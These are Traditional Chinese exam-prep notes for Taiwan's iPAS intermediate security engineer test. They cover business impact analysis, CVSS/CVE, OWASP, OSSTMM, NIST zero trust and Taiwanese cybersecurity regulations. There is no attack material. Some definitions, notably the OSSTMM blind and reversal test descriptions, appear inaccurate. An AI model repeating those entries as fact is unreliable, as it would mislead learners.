專門的個資與隱私資訊管理系統（Privacy Information Management System，PIMS）指引

ISO 22317:2021 營運衝擊評鑒

營運衝擊分析（Business Impact Analysis, BIA）

鑑別關鍵營運流程及鑑別關鍵營運流程中斷對組織造成之. 傷害或損失、及中斷後回復至可接受的作業水準之回復時間

  • 財務衝擊（Financial Impact）：分析業務中斷可能造成的直接或間接財務損失。
  • 商譽衝擊（Reputational Impact）：分析業務中斷可能對公司聲譽造成的影響。
  • 法規衝擊（Legal Impact）：考慮業務中斷可能引起的法律問題或法規遵循的問題。

BS 10012

明確提供個資管理與隱私保護之系統性的規範與實作指引。
與 GDPR、個資保護等法規高度相關

CVSS v4.0

CVSS（Common Vulnerability Scoring System）是一種被廣泛使用的漏洞評分標準，用於衡量資訊安全漏洞的嚴重程度

CVE

CVE 的運作機制
由 MITRE 維護：

MITRE Corporation 是美國國防部資助的非營利性研究機構，負責管理 CVE 系統。
MITRE 維護 CVE 並與全球資安社群合作，確保漏洞資訊的完整性和一致性。

CVE 編號的分配：

CVE 編號由 CVE Numbering Authority（CNA） 分配。
CNA 包括資安公司、研究機構、廠商等。
MITRE 是「主 CNA」，負責分配給其他 CNA 權限，並管理全局。

CVE 的完整名稱：

CVE 的完整名稱是 Common Vulnerabilities and Exposures（常見漏洞與暴露），不是其他名稱。

OWASP

專注於「應用程式安全」的開放性組織，主要針對 網頁應用程式 與 API 提供安全性建議和漏洞列表（如 OWASP Top 10）。

OSSTMM

是一種針對資訊安全的開源標準，提供一套完整的安全測試框架，涵蓋了不同層面的安全性測試方法。

OSSTMM 定義的 5 大安全範圍（Scope）：

  • PHYSSEC（Physical Security） – 涉及實體安全，包括：

    • 人員安全（Human）
    • 設備與設施安全（Physical）

  • COMSEC（Communications Security） – 涉及通訊安全，包括：

    • 網路安全（Data Networks）
    • 通訊協定安全

  • SPECSEC（Spectrum Security） – 涉及頻譜安全，包括：

    • 無線電通訊（如 Wi-Fi、藍牙等）
    • ✅ 只限於「無線（Wireless）」頻譜，不包括有線通訊

  • TRANSEC（Transmission Security） – 涉及傳輸安全，包括：

    • 資料在傳輸過程中的完整性與加密

  • PROTSEC（Protection Security） – 涉及防護安全，包括：

    • 資料保護與存取控制
測試類型說明攻擊者 vs 目標認知常見應用
Blind Test（盲測）攻擊者對目標有限了解，目標對攻擊行為不知情攻擊者知識低，目標知識低滲透測試（Penetration Test）
Double Blind Test（雙盲測試）攻擊者與目標皆無相關知識攻擊者知識低，目標知識低高度模擬真實攻擊情境
Gray Box Test（灰箱測試）攻擊者對目標有部分了解，目標對攻擊可能知情攻擊者知識中，目標知識低或中弱點測試（Vulnerability Test）
Tandem Test（聯合測試）攻擊者與目標皆完全了解攻擊者知識高，目標知識高協同模擬攻擊情境
Reversal Test（反向測試）攻擊者具備高度知識，目標對攻擊完全知情攻擊者知識高，目標知識高紅隊演練（Red Team Exercise）

NIST SP 800-207 零信任架構

「永不信任，持續驗證」（Never Trust, Always Verify）

邏輯元件

![](./assets/零信任-邏輯元件.jpg)
Source : https://www.ithome.com.tw/tech/152384

  • 政策引擎（Policy Engine, PE）

    決定是否允許或拒絕存取請求
    參考企業的政策與信任評估來決策
    位於 政策決策點（PDP）

  • 政策管理者（Policy Administrator, PA）

    負責將 PE 的決策轉化為行動
    發出控制指令來實現允許或拒絕存取
    位於 政策決策點（PDP）

  • 政策落實點（Policy Enforcement Point, PEP）

    負責實際的存取控制行動
    攔阻或允許來自設備或使用者的連線請求
    典型的 PEP 裝置：代理伺服器（Proxy）、終端代理（Endpoint Agent）

NIST 資安框架

資安框架由3種元素組成，包含框架核心(Framework Core)、框架層級(Implementation Tiers)、框架輪廓(Profiles)，以利企業各部門成員可基於同一套文件，詳細討論資安防禦的措施。

![](./assets/NIST-struct.jpg)
Source : https://teamt5.org/tw/posts/what-is-nist-cybersecurity-framework/

法規

資通安全管理法施行細則

本法第十條、第十六條第二項及第十七條第一項所定資通安全維護計畫

  • 核心業務及其重要性。
  • 資通安全政策及目標。
  • 資通安全推動組織。
  • 專責人力及經費之配置。
  • 公務機關資通安全長之配置。
  • 資通系統及資訊之盤點，並標示核心資通系統及相關資產。
  • 資通安全風險評估。
  • 資通安全防護及控制措施。
  • 資通安全事件通報、應變及演練相關機制。
  • 資通安全情資之評估及因應機制。
  • 資通系統或服務委外辦理之管理措施。
  • 公務機關所屬人員辦理業務涉及資通安全事項之考核機制。
  • 資通安全維護計畫與實施情形之持續精進及績效管理機制。

資通安全責任等級分級辦法

資通安全責任等級適用情形
A 級涉及極高機密或關係國家安全的重要資訊
B 級涉及公務機關捐助或研發之敏感科學技術資訊，需要較高層級的保護
C 級一般內部營運資訊，保護要求中等
D 級資訊公開或低風險資訊
E 級資訊安全保護要求最低

《資通安全事件通報及應變辦法》分級標準

根據《資通安全事件通報及應變辦法》，資通安全事件通常依影響程度分為 4 個等級：

  • 四級（最嚴重）

    對國家安全或重要基礎設施造成嚴重影響或癱瘓。
    需跨部門、跨國合作進行應變。

  • 三級

    影響關鍵系統或服務，可能造成重大財務損失或資訊外洩。
    需跨單位合作進行應變。

  • 二級

    造成部分系統或服務受影響，但可迅速修復，影響範圍有限。

  • 一級（最輕微）

    屬於初步攻擊或可疑活動，尚未造成明顯損害。
    可透過內部資安團隊或 IT 團隊進行應變。

]]> iPAS 資安工程師中級考試重點與準備資源整理